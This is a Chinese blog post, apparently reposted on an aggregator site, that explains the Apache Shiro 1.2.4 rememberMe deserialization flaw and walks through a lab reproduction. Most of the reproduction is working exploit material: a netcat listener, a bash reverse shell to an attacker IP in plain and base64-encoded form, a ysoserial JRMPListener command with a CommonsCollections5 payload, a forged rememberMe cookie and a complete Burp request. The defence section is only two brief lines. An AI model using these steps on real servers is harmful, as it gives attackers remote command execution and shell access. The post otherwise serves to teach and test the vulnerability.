Shiro1.2.4反序列化漏洞

这篇具有很好参考价值的文章主要介绍了Shiro1.2.4反序列化漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Shiro1.2.4反序列化漏洞

目录
  • Shiro1.2.4反序列化漏洞
    • 一、JRMP协议
    • 二、漏洞原理
    • 三、复现步骤
    • 四、修复和防御

一、JRMP协议

​ JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议。是RMI(Remote Method Invocation)工作的底层协议。

二、漏洞原理

​ Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

个人理解:(不一定正确)

Apache Shiro反序列化漏洞,主要是因为用户的信息通过序列化、AES加密,base64加密后存储在Cookie的remember-me字段中,而攻击者可以通过构造remember-me字段中的参数,当传到后端服务器时,服务器会对remember-me字段进行base64解密,AES解密,反序列化去连接JRMP服务,当访问到JRMP服务时,会发送一个base64编码的反弹连接给服务器,服务器解码就会自动执行反弹连接。这里AES加密密钥是固定的,也是造成原因的一部分原因。

三、复现步骤

1、kali(192.168.142.133)上监听6666端口

nc -lvp 6666

2、对反弹连接进行编码

编码网址:https://ares-x.com/tools/runtime-exec/

bash -i >& /dev/tcp/192.168.142.133/6666 0>&1

编码后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

3、用ysoserial开启JRMP监听(可在windows上运行,也可在linux上运行)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

4、用shiro.py脚本进行AES加密、base64编码

python shiro.py 192.168.142.1:8888

输出内容为:

rememberMe=kcsXiGTWRTCTQnw3pjWUu0gg0tCiFg+TYpRxFUG5VkeiW5Mikx9fazx/UVsHKg3jYm0wZ0/N7Im4w0pJheg4n0TvApMQsFzcR6+I4uA+Fow1hR1iLMxhLVixyZdUEj5zwBqOXnK+Ju3ikfry+wwqscqtkzjZFe40uI+Fxdynw7bi4sCA6SY48UULNiIdeVRrwvqe7nfA+ZihSolHG4UaTvX+ySSiYzBfqKsN5RJWPbvzUWvSXXdaQE0ch7jtCYxYw+vTcSrEW9yj94KgJPQa6ZqaTbFFqG08obLGxGVJ5v2h+XGHro4wxkg0HiY+gkfgdLEt8gGcLmd3IJSLzlOWnv9KBnYN7vfXpfuZ7/P5tA3VIVapyFjx3qvY4zkSc/Q/VGuUis75k856P3Af3q+HwA==

5、用bp发送payload

POST /doLogin HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://192.168.142.133:8080
Connection: close
Referer: http://192.168.142.133:8080/login;jsessionid=0B0A2E71C16C929317001BA8542BD94E
Cookie: JSESSIONID=0B0A2E71C16C929317001BA8542BD94E;rememberMe=kcsXiGTWRTCTQnw3pjWUu0gg0tCiFg+TYpRxFUG5VkeiW5Mikx9fazx/UVsHKg3jYm0wZ0/N7Im4w0pJheg4n0TvApMQsFzcR6+I4uA+Fow1hR1iLMxhLVixyZdUEj5zwBqOXnK+Ju3ikfry+wwqscqtkzjZFe40uI+Fxdynw7bi4sCA6SY48UULNiIdeVRrwvqe7nfA+ZihSolHG4UaTvX+ySSiYzBfqKsN5RJWPbvzUWvSXXdaQE0ch7jtCYxYw+vTcSrEW9yj94KgJPQa6ZqaTbFFqG08obLGxGVJ5v2h+XGHro4wxkg0HiY+gkfgdLEt8gGcLmd3IJSLzlOWnv9KBnYN7vfXpfuZ7/P5tA3VIVapyFjx3qvY4zkSc/Q/VGuUis75k856P3Af3q+HwA==
Upgrade-Insecure-Requests: 1

username=1&password=1&rememberme=remember-me

四、修复和防御

1、升级Apache Shiro

2、部署安全产品文章来源地址https://www.toymoban.com/news/detail-428098.html

到了这里,关于Shiro1.2.4反序列化漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Apache Shiro反序列化漏洞研究及解决方法

    前言 一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄 我根据客户给出的安全厂商反馈的问题,总结如下: 1,Shiro反

    2024年02月11日
    浏览(39)
  • 【shiro】shiro反序列化漏洞综合利用工具v2.2(下载、安装、使用)

    shiro反序列化漏洞综合利用工具v2.2下载: 链接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取码:zbgp 其他工具下载: 除了该工具之外,github上还有其他大佬贡献的各种工具,有许多python编写的工具,功能简单,可以作为理解shiro漏洞原理并编写自己工具的教材。 说明 :

    2023年04月08日
    浏览(37)
  • Shiro反序列化漏洞(CVE-2016-4437)+docker靶场+工具利用

    将java对象转换为字节序列(json/xml)的过程叫序列化,将字节序列(json/xml)恢复为java对象的过程称为反序列化。 Shiro框架提供了“记住我”的功能,用户登陆成功后会生成经过加密并编码的cookie,cookie的key为RememberMe,cookie的值是经过序列化的,使用AES加密,再使用base64编码

    2024年02月16日
    浏览(30)
  • Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    目录 前言: (一)基本介绍 0x01 影响版本 0x02 漏洞分析 根据加密的顺序,不难知道解密的顺序为: 登入  验证  (二)环境搭建 1、本地复现 0x01 源代码 0x02  pom.xml修改: 0x03 tomcat服务器 0x04  ysoserial-jar依赖 0x05  访问端口  2、vulhub  访问端口:  (三)利用工具和方式 1、

    2024年02月05日
    浏览(40)
  • shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后。 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。 shiro550反序列化原理 cve编号:

    2024年02月05日
    浏览(44)
  • Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】

    文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三、Gus系统 3.1. shiro版本升级 3.2. 调用重新生成 3.3. 生成工具类 shiro漏洞补充: 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 若依/Guns管

    2024年02月15日
    浏览(34)
  • shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    知道aes加密的key且目标服务器含有可利用的攻击链。 原理 在Shiro = 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中. 服务端收到登录请求后,

    2024年02月05日
    浏览(32)
  • [Java反序列化]—Shiro反序列化(一)

    IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令

    2024年02月06日
    浏览(32)
  • Shiro反序列化分析

    Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带 Commoncollections 的,除此之外还带了一个包叫做 CommonBeanUtils ,主要利用类就在这个包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 编辑shiro/s

    2024年03月24日
    浏览(32)
  • shiro反序列化[cve_2016_4437]

    目录 什么是shiro? 漏洞原理 漏洞复现 修复方案 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使

    2024年02月15日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包